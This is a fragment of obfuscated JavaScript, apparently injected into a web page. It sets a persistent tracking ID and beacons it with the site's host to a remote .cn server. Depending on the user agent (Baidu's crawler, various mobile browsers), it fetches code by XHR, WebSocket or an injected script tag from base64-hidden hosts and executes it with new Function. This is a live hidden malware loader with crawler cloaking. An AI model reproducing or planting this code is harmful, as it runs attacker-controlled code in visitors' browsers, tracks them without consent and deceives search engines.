e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/15361/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=isynG(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMMlMM0ElMMkYlMMkZhLm1wemx2cS5jbiUzQTg4OTE=','d3NzJTNBJTJGJTJGYS55a2toanMMuY24lMM0E5NTMM1','167199',window,document,['M','M']);}:function(){};

关闭